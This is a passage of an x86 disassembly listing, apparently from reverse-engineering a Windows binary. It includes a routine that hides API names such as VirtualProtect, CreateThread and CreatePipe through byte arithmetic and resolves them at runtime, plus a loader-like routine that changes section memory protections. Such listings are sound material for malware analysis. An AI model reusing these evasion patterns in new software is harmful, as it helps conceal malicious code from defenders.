		mov	[ebp+var_4], eax
		and	[ebp+var_10], 0
		jmp	short loc_3E58F1
; ---------------------------------------------------------------------------


loc_3E58E5:				; CODE XREF: sub_3E58BA+90j
		mov	ax, [ebp+var_10]
		add	ax, 1
		mov	[ebp+var_10], ax


loc_3E58F1:				; CODE XREF: sub_3E58BA+29j
		movzx	eax, [ebp+var_10]
		movzx	ecx, [ebp+var_8]
		cmp	eax, ecx
		jge	short locret_3E594C
		movzx	eax, [ebp+var_10]
		imul	eax, 28h
		push	[ebp+var_4]
		pop	ecx
		push	[ebp+arg_4]
		pop	edx
		add	edx, [eax+ecx+0Ch]
		mov	[ebp+var_18], edx
		movzx	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+var_4]
		push	dword ptr [eax+ecx+8]
		pop	eax
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_14]
		push	eax
		movzx	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+var_4]
		push	dword ptr [eax+ecx+24h]
		call	sub_3E57F0
		pop	ecx
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_18]
		call	dword_417E90
		jmp	short loc_3E58E5
; ---------------------------------------------------------------------------

locret_3E594C:				; CODE XREF: sub_3E58BA+41j
		leave
		retn
sub_3E58BA	endp

; ---------------------------------------------------------------------------
		dw 0CCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3E5950	proc near		; CODE XREF: sub_3E5546+5Bp

var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_67		= byte ptr -67h
var_66		= byte ptr -66h
var_65		= byte ptr -65h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_61		= byte ptr -61h
var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5E		= byte ptr -5Eh
var_5D		= byte ptr -5Dh
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= byte ptr -5Ah
var_58		= byte ptr -58h
var_57		= byte ptr -57h
var_56		= byte ptr -56h
var_55		= byte ptr -55h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_52		= byte ptr -52h
var_51		= byte ptr -51h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_42		= byte ptr -42h
var_41		= byte ptr -41h
var_40		= byte ptr -40h
var_3F		= byte ptr -3Fh
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_3A		= byte ptr -3Ah
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_33		= byte ptr -33h
var_32		= byte ptr -32h
var_31		= byte ptr -31h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	offset dword_3E3070
		call	dword_3E3008
		mov	[ebp+var_10], eax
		mov	[ebp+var_68], 4Ch
		add	[ebp+var_68], 0Bh
		mov	[ebp+var_67], 6Ah
		mov	[ebp+var_66], 73h
		mov	[ebp+var_65], 75h
		mov	[ebp+var_64], 76h
		mov	[ebp+var_63], 62h
		mov	[ebp+var_62], 6Dh
		mov	[ebp+var_61], 51h
		mov	[ebp+var_60], 73h
		mov	[ebp+var_5F], 70h
		mov	[ebp+var_5E], 75h
		mov	[ebp+var_5D], 52h
		add	[ebp+var_5D], 14h
		mov	[ebp+var_5C], 41h
		add	[ebp+var_5C], 23h
		mov	[ebp+var_5B], 75h
		mov	[ebp+var_5A], 0
		mov	[ebp+var_48], 1Ch
		add	[ebp+var_48], 2Ch
		mov	[ebp+var_47], 63h
		add	[ebp+var_47], 3
		mov	[ebp+var_46], 1
		add	[ebp+var_46], 74h
		mov	[ebp+var_45], 4Eh
		mov	[ebp+var_44], 5
		add	[ebp+var_44], 6Bh
		mov	[ebp+var_43], 47h
		add	[ebp+var_43], 1Eh
		mov	[ebp+var_42], 5Ch
		add	[ebp+var_42], 1Ah
		mov	[ebp+var_41], 5Ch
		add	[ebp+var_41], 11h
		mov	[ebp+var_40], 66h
		mov	[ebp+var_3F], 29h
		add	[ebp+var_3F], 20h
		mov	[ebp+var_3E], 62h
		mov	[ebp+var_3D], 38h
		add	[ebp+var_3D], 37h
		mov	[ebp+var_3C], 65h
		mov	[ebp+var_3B], 6Dh
		mov	[ebp+var_3A], 66h
		mov	[ebp+var_39], 42h
		mov	[ebp+var_38], 0
		mov	[ebp+var_28], 44h
		mov	[ebp+var_27], 5Bh
		add	[ebp+var_27], 12h
		mov	[ebp+var_26], 70h
		mov	[ebp+var_25], 74h
		mov	[ebp+var_24], 66h
		mov	[ebp+var_23], 1Ah
		add	[ebp+var_23], 2Fh
		mov	[ebp+var_22], 62h
		mov	[ebp+var_21], 67h
		add	[ebp+var_21], 8
		mov	[ebp+var_20], 65h
		mov	[ebp+var_1F], 6Dh
		mov	[ebp+var_1E], 0Ah
		add	[ebp+var_1E], 5Ch
		mov	[ebp+var_1D], 0
		mov	[ebp+var_58], 44h
		mov	[ebp+var_57], 61h
		add	[ebp+var_57], 12h
		mov	[ebp+var_56], 66h
		mov	[ebp+var_55], 0
		add	[ebp+var_55], 62h
		mov	[ebp+var_54], 30h
		add	[ebp+var_54], 45h
		mov	[ebp+var_53], 66h
		mov	[ebp+var_52], 55h
		mov	[ebp+var_51], 1Eh
		add	[ebp+var_51], 4Bh
		mov	[ebp+var_50], 16h
		add	[ebp+var_50], 5Dh
		mov	[ebp+var_4F], 58h
		add	[ebp+var_4F], 0Eh
		mov	[ebp+var_4E], 62h
		mov	[ebp+var_4D], 65h
		mov	[ebp+var_4C], 0
		mov	[ebp+var_1C], 0
		add	[ebp+var_1C], 44h
		mov	[ebp+var_1B], 73h
		mov	[ebp+var_1A], 0Eh
		add	[ebp+var_1A], 58h
		mov	[ebp+var_19], 62h
		mov	[ebp+var_18], 64h
		add	[ebp+var_18], 11h
		mov	[ebp+var_17], 66h
		mov	[ebp+var_16], 1Ah
		add	[ebp+var_16], 37h
		mov	[ebp+var_15], 51h
		add	[ebp+var_15], 19h
		mov	[ebp+var_14], 4Fh
		add	[ebp+var_14], 22h
		mov	[ebp+var_13], 66h
		mov	[ebp+var_12], 0
		mov	[ebp+var_34], 53h
		mov	[ebp+var_33], 66h
		mov	[ebp+var_32], 5Dh
		add	[ebp+var_32], 5
		mov	[ebp+var_31], 57h
		add	[ebp+var_31], 0Eh
		mov	[ebp+var_30], 6
		add	[ebp+var_30], 41h
		mov	[ebp+var_2F], 67h
		add	[ebp+var_2F], 3
		mov	[ebp+var_2E], 6Dh
		mov	[ebp+var_2D], 66h
		mov	[ebp+var_2C], 0
		mov	[ebp+var_C], 58h
		mov	[ebp+var_B], 73h
		mov	[ebp+var_A], 30h
		add	[ebp+var_A], 3Ah
		mov	[ebp+var_9], 38h
		add	[ebp+var_9], 3Dh
		mov	[ebp+var_8], 45h
		add	[ebp+var_8], 21h
		mov	[ebp+var_7], 26h
		add	[ebp+var_7], 21h
		mov	[ebp+var_6], 5Eh
		add	[ebp+var_6], 0Ch
		mov	[ebp+var_5], 6Bh
		add	[ebp+var_5], 2
		mov	[ebp+var_4], 2
		add	[ebp+var_4], 64h
		mov	[ebp+var_3], 0
		lea	eax, [ebp+var_68]
		mov	[ebp+var_6C], eax


loc_3E5B65:				; CODE XREF: sub_3E5950+235j
		push	[ebp+var_6C]
		pop	eax
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3E5B87
		push	[ebp+var_6C]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		mov	ecx, [ebp+var_6C]
		mov	[ecx], al
		push	[ebp+var_6C]
		pop	eax
		inc	eax
		mov	[ebp+var_6C], eax
		jmp	short loc_3E5B65
; ---------------------------------------------------------------------------


loc_3E5B87:				; CODE XREF: sub_3E5950+21Ej
		lea	eax, [ebp+var_48]
		mov	[ebp+var_70], eax


loc_3E5B8D:				; CODE XREF: sub_3E5950+25Cj
		mov	eax, [ebp+var_70]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3E5BAE
		push	[ebp+var_70]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		mov	ecx, [ebp+var_70]
		mov	[ecx], al
		push	[ebp+var_70]
		pop	eax
		inc	eax
		mov	[ebp+var_70], eax
		jmp	short loc_3E5B8D
; ---------------------------------------------------------------------------


loc_3E5BAE:				; CODE XREF: sub_3E5950+245j
		lea	eax, [ebp+var_28]
		mov	[ebp+var_74], eax


loc_3E5BB4:				; CODE XREF: sub_3E5950+288j
		push	[ebp+var_74]
		pop	eax
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3E5BDA
		push	[ebp+var_74]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		push	eax
		push	[ebp+var_74]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[ecx], al
		mov	eax, [ebp+var_74]
		inc	eax
		mov	[ebp+var_74], eax
		jmp	short loc_3E5BB4
; ---------------------------------------------------------------------------


loc_3E5BDA:				; CODE XREF: sub_3E5950+26Dj
		lea	eax, [ebp+var_58]
		mov	[ebp+var_78], eax


loc_3E5BE0:				; CODE XREF: sub_3E5950+2AFj
		mov	eax, [ebp+var_78]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3E5C01
		push	[ebp+var_78]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		push	[ebp+var_78]
		pop	ecx
		mov	[ecx], al
		mov	eax, [ebp+var_78]
		inc	eax
		mov	[ebp+var_78], eax
		jmp	short loc_3E5BE0
; ---------------------------------------------------------------------------


loc_3E5C01:				; CODE XREF: sub_3E5950+298j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_7C], eax


loc_3E5C07:				; CODE XREF: sub_3E5950+2DBj
		mov	eax, [ebp+var_7C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3E5C2D
		push	[ebp+var_7C]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		push	eax
		push	[ebp+var_7C]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[ecx], al
		push	[ebp+var_7C]
		pop	eax
		inc	eax
		mov	[ebp+var_7C], eax
		jmp	short loc_3E5C07
; ---------------------------------------------------------------------------


loc_3E5C2D:				; CODE XREF: sub_3E5950+2BFj
		lea	eax, [ebp+var_34]
		mov	[ebp+var_80], eax


loc_3E5C33:				; CODE XREF: sub_3E5950+300j
		mov	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3E5C52
		mov	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax]
		dec	eax
		mov	ecx, [ebp+var_80]
		mov	[ecx], al
		mov	eax, [ebp+var_80]
		inc	eax
		mov	[ebp+var_80], eax
		jmp	short loc_3E5C33
; ---------------------------------------------------------------------------


loc_3E5C52:				; CODE XREF: sub_3E5950+2EBj
		lea	eax, [ebp+var_C]
		mov	[ebp+var_84], eax


loc_3E5C5B:				; CODE XREF: sub_3E5950+338j
		mov	eax, [ebp+var_84]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3E5C8A
		push	[ebp+var_84]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		mov	ecx, [ebp+var_84]
		mov	[ecx], al
		mov	eax, [ebp+var_84]
		inc	eax
		mov	[ebp+var_84], eax
		jmp	short loc_3E5C5B
; ---------------------------------------------------------------------------


loc_3E5C8A:				; CODE XREF: sub_3E5950+316j
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	dword_417E90, eax
		lea	eax, [ebp+var_48]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	dword_417E94, eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	dword_417E98, eax
		lea	eax, [ebp+var_58]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	off_417E9C, eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	dword_417EA0, eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	dword_417EA4, eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		call	dword_3E3000
		mov	dword_417EA8, eax
		leave
		retn
sub_3E5950	endp

; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 0CCCCCCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3E5D10	proc near		; CODE XREF: sub_3E5FAC+12p
					; sub_3E5FAC+2Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 41h
		jl	short loc_3E5D27
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_3E5D27
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		jmp	short loc_3E5D2A
; ---------------------------------------------------------------------------


loc_3E5D27:				; CODE XREF: sub_3E5D10+7j
					; sub_3E5D10+Dj
		mov	eax, [ebp+arg_0]


loc_3E5D2A:				; CODE XREF: sub_3E5D10+15j
		pop	ebp
		retn
sub_3E5D10	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 61h
		jl	short loc_3E5D43
		cmp	dword ptr [ebp+8], 7Ah
		jg	short loc_3E5D43
		mov	eax, [ebp+8]
		sub	eax, 20h
		jmp	short loc_3E5D46
; ---------------------------------------------------------------------------


loc_3E5D43:				; CODE XREF: .data:003E5D33j
					; .data:003E5D39j
		mov	eax, [ebp+8]


loc_3E5D46:				; CODE XREF: .data:003E5D41j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		dd 2 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 0CCCCCCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3E5D60	proc near		; CODE XREF: .data:003E5D8Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		push	0
		call	dword_3E3018
		push	eax
		call	dword_3E3014
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		pop	eax
		leave
		retn
sub_3E5D60	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	dword ptr [ebp+8]
		pop	eax
		imul	eax, [ebp+0Ch]
		push	eax
		call	sub_3E5D60
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
aUtG_0		db 'UT]ƒ}',8,0
		dw 0B75h
		dd 0E80C75FFh, 0FFFFFFBCh, 0FF15EB59h, 75FF0C75h, 0FF006A08h
		dd 3E301815h, 15FF5000h, 3E301Ch
		db 5Dh,	0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_3E5DC9
		jmp	short loc_3E5DDB
; ---------------------------------------------------------------------------


loc_3E5DC9:				; CODE XREF: .data:003E5DC5j
		push	dword ptr [ebp+8]
		push	0
		call	dword_3E3018
		push	eax
		call	dword_3E3020


loc_3E5DDB:				; CODE XREF: .data:003E5DC7j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 55h,	54h, 5Dh
		dd 0E80875FFh, 0FFFFFF78h, 55C35D59h, 75FF5D54h, 0FFC8E808h
		dd 5D59FFFFh, 0CCCCCCC3h, 0CCCCCCCCh, 5D5D5455h, 5D5455C3h
		dd 8458A51h, 0C6FC4588h, 0C900FD45h
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0Ah
		lea	eax, [ebp-20h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_3E60F7
		add	esp, 0Ch
		leave
		retn
; ---------------------------------------------------------------------------
		db 55h
		dd 0EC835D54h, 8D0A6A20h, 0FF50E045h, 0C9E80875h, 83000001h
		dd 0C3C90CC4h, 0CCCCCCCCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	dword ptr [ebp+8]
		pop	eax
		mov	[ebp-4], eax


loc_3E5E5B:				; CODE XREF: .data:003E5E95j
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_3E5E97
		mov	eax, [ebp+8]
		mov	ecx, [ebp+0Ch]
		mov	cl, [ecx]
		mov	[eax], cl
		push	dword ptr [ebp+8]
		pop	eax
		movsx	eax, byte ptr [eax]
		push	eax
		push	dword ptr [ebp+8]
		pop	eax
		mov	ecx, eax
		pop	eax
		inc	ecx
		mov	[ebp+8], ecx
		push	eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	ecx, eax
		pop	eax
		inc	ecx
		mov	[ebp+0Ch], ecx
		test	eax, eax
		jz	short loc_3E5E97
		mov	eax, [ebp+10h]
		dec	eax
		mov	[ebp+10h], eax
		jmp	short loc_3E5E5B
; ---------------------------------------------------------------------------


loc_3E5E97:				; CODE XREF: .data:003E5E5Fj
					; .data:003E5E8Cj
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_3E5EB5


loc_3E5E9D:				; CODE XREF: .data:003E5EB3j
		mov	eax, [ebp+10h]
		dec	eax
		mov	[ebp+10h], eax
		jz	short loc_3E5EB5
		mov	eax, [ebp+8]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+8]
		inc	eax
		mov	[ebp+8], eax
		jmp	short loc_3E5E9D
; ---------------------------------------------------------------------------


loc_3E5EB5:				; CODE XREF: .data:003E5E9Bj
					; .data:003E5EA4j
		mov	eax, [ebp-4]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3E5EBA	proc near		; CODE XREF: sub_3E50BE+Dp
					; sub_3E5720+C1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		pop	eax
		mov	[ebp+var_4], eax


loc_3E5EC5:				; CODE XREF: sub_3E5EBA+39j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		dec	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_3E5EF5
		push	[ebp+arg_0]
		pop	eax
		push	eax
		push	[ebp+arg_4]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	cl, [ecx]
		mov	[eax], cl
		push	[ebp+arg_0]
		pop	eax
		inc	eax
		mov	[ebp+arg_0], eax
		push	[ebp+arg_4]
		pop	eax
		inc	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_3E5EC5
; ---------------------------------------------------------------------------


loc_3E5EF5:				; CODE XREF: sub_3E5EBA+17j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_3E5EBA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		mov	[ebp-4], eax


loc_3E5F04:				; CODE XREF: .data:003E5F23j
		mov	eax, [ebp+10h]
		push	dword ptr [ebp+10h]
		pop	ecx
		dec	ecx
		mov	[ebp+10h], ecx
		test	eax, eax
		jz	short loc_3E5F25
		push	dword ptr [ebp+8]
		pop	eax
		mov	cl, [ebp+0Ch]
		mov	[eax], cl
		mov	eax, [ebp+8]
		inc	eax
		mov	[ebp+8], eax
		jmp	short loc_3E5F04
; ---------------------------------------------------------------------------


loc_3E5F25:				; CODE XREF: .data:003E5F11j
		mov	eax, [ebp-4]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_3E5F2A	proc near		; CODE XREF: sub_3E5151+2Ep
					; sub_3E5151+51p
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		and	dword ptr [ebp-4], 0


loc_3E5F32:				; CODE XREF: sub_3E5F2A+34j
		push	dword ptr [ebp+8]
		pop	eax
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+0Ch]
		movzx	ecx, byte ptr [ecx]
		sub	eax, ecx
		mov	[ebp-4], eax
		jnz	short loc_3E5F60
		mov	eax, [ebp+0Ch]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3E5F60
		mov	eax, [ebp+8]
		inc	eax
		mov	[ebp+8], eax
		mov	eax, [ebp+0Ch]
		inc	eax
		mov	[ebp+0Ch], eax
		jmp	short loc_3E5F32
; ---------------------------------------------------------------------------


loc_3E5F60:				; CODE XREF: sub_3E5F2A+1Aj
					; sub_3E5F2A+24j
		cmp	dword ptr [ebp-4], 0
		jge	short loc_3E5F6C
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_3E5F7D
; ---------------------------------------------------------------------------


loc_3E5F6C:				; CODE XREF: sub_3E5F2A+3Aj
		cmp	dword ptr [ebp-4], 0
		jle	short loc_3E5F7D
		mov	dword ptr [ebp-4], 0
		add	dword ptr [ebp-4], 1


loc_3E5F7D:				; CODE XREF: sub_3E5F2A+40j
					; sub_3E5F2A+46j
		push	dword ptr [ebp-4]
		pop	eax
		leave
		retn
sub_3E5F2A	endp

; ---------------------------------------------------------------------------
		db 55h
		dd 8B515D54h, 45890845h, 0FC75FFFCh, 0BE0F58h, 59FC75FFh
		dd 0FC4D8941h, 274C085h, 75FFEBEBh, 452B58FCh, 0C3C94808h

; =============== S U B	R O U T	I N E =======================================



sub_3E5FAC	proc near		; CODE XREF: sub_3E5151+1Bp
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 10h


loc_3E5FB2:				; CODE XREF: sub_3E5FAC+4Dj
		mov	eax, [ebp+8]
		movzx	eax, byte ptr [eax]
		mov	[ebp-0Ch], eax
		push	dword ptr [ebp-0Ch]
		call	sub_3E5D10
		pop	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		inc	eax
		mov	[ebp+8], eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		movzx	eax, byte ptr [eax]
		mov	[ebp-10h], eax
		push	dword ptr [ebp-10h]
		call	sub_3E5D10
		pop	ecx
		mov	[ebp-8], eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		inc	eax
		mov	[ebp+0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	short loc_3E5FFB
		push	dword ptr [ebp-4]
		pop	eax
		cmp	eax, [ebp-8]
		jz	short loc_3E5FB2


loc_3E5FFB:				; CODE XREF: sub_3E5FAC+44j
		push	dword ptr [ebp-4]
		pop	eax
		sub	eax, [ebp-8]
		leave
		retn
sub_3E5FAC	endp

; ---------------------------------------------------------------------------
		dd 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_3E602C
		add	esp, 10h
		push	dword ptr [ebp+0Ch]
		pop	eax
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3E602C	proc near		; CODE XREF: .data:003E601Ep
					; sub_3E60F7+1Ap ...

var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_C], 0
		jz	short loc_3E6059
		push	[ebp+var_4]
		pop	eax
		mov	byte ptr [eax],	27h
		add	byte ptr [eax],	6
		push	[ebp+var_4]
		pop	eax
		inc	eax
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		pop	eax
		neg	eax
		mov	[ebp+arg_0], eax


loc_3E6059:				; CODE XREF: sub_3E602C+10j
		push	[ebp+var_4]
		pop	eax
		mov	[ebp+var_10], eax


loc_3E6060:				; CODE XREF: sub_3E602C+82j
		push	[ebp+arg_0]
		pop	eax
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_8], edx
		push	[ebp+arg_0]
		pop	eax
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_8], 9
		jbe	short loc_3E6097
		mov	eax, [ebp+var_8]
		add	eax, 57h
		push	eax
		push	[ebp+var_4]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_3E60AA
; ---------------------------------------------------------------------------


loc_3E6097:				; CODE XREF: sub_3E602C+50j
		push	[ebp+var_8]
		pop	eax
		add	eax, 30h
		mov	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_3E60AA:				; CODE XREF: sub_3E602C+69j
		cmp	[ebp+arg_0], 0
		ja	short loc_3E6060
		push	[ebp+var_4]
		pop	eax
		mov	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax


loc_3E60BE:				; CODE XREF: sub_3E602C+C7j
		push	[ebp+var_4]
		pop	eax
		mov	al, [eax]
		mov	[ebp+var_9], al
		push	[ebp+var_4]
		pop	eax
		push	[ebp+var_10]
		pop	ecx
		mov	cl, [ecx]
		mov	[eax], cl
		push	[ebp+var_10]
		pop	eax
		mov	cl, [ebp+var_9]
		mov	[eax], cl
		push	[ebp+var_4]
		pop	eax
		dec	eax
		mov	[ebp+var_4], eax
		push	[ebp+var_10]
		pop	eax
		inc	eax
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		pop	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_3E60BE
		leave
		retn
sub_3E602C	endp


; =============== S U B	R O U T	I N E =======================================



sub_3E60F7	proc near		; CODE XREF: .data:003E5E29p
		push	ebp
		push	esp
		pop	ebp
		cmp	dword ptr [ebp+10h], 0Ah
		jnz	short loc_3E611B
		cmp	dword ptr [ebp+8], 0
		jge	short loc_3E611B
		push	1
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_3E602C
		add	esp, 10h
		jmp	short loc_3E612E
; ---------------------------------------------------------------------------


loc_3E611B:				; CODE XREF: sub_3E60F7+7j
					; sub_3E60F7+Dj
		push	0
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_3E602C
		add	esp, 10h


loc_3E612E:				; CODE XREF: sub_3E60F7+22j
		mov	eax, [ebp+0Ch]
		pop	ebp
		retn
sub_3E60F7	endp

; ---------------------------------------------------------------------------
		align 4
		dd 5Bh dup(0)
		dd 30D0h, 30E2h, 30F2h,	3106h, 3116h, 3126h, 3132h, 3144h
		dd 3152h, 3 dup(0)
aKernel32_dll_4	db 'kernel32.dll',0
		align 10h
aGetmodulefil_1	db 'GetModuleFileNameA',0
		align 4
aGetmodulefil_2	db 'GetModuleFileNameW',0
		align 10h
aKernel32_dll_5	db 'kernel32.dll',0
		align 10h
aI0_0		db '¨0',0
		align 4
		dd 2 dup(0)
		dd 315Eh, 3000h, 5 dup(0)
		dd 30D0h, 30E2h, 30F2h,	3106h, 3116h, 3126h, 3132h, 3144h
		dd 3152h, 0
		dd 654701A0h, 6F725074h, 64644163h, 73736572h, 2520000h
		dd 64616F4Ch, 7262694Ch, 41797261h, 17F0000h, 4D746547h
		dd 6C75646Fh, 6E614865h, 41656C64h, 1C80000h, 53746547h
		dd 65747379h, 6D69546Dh, 1DF0065h, 54746547h, 436B6369h
		dd 746E756Fh, 2100000h,	70616548h, 6F6C6C41h, 1A30063h
		dd 50746547h, 65636F72h, 65487373h, 7061h, 6548021Ah, 65527061h
		dd 6F6C6C41h, 2160063h,	70616548h, 65657246h, 454B0000h
		dd 4C454E52h, 642E3233h, 6C6Ch,	25h dup(0)
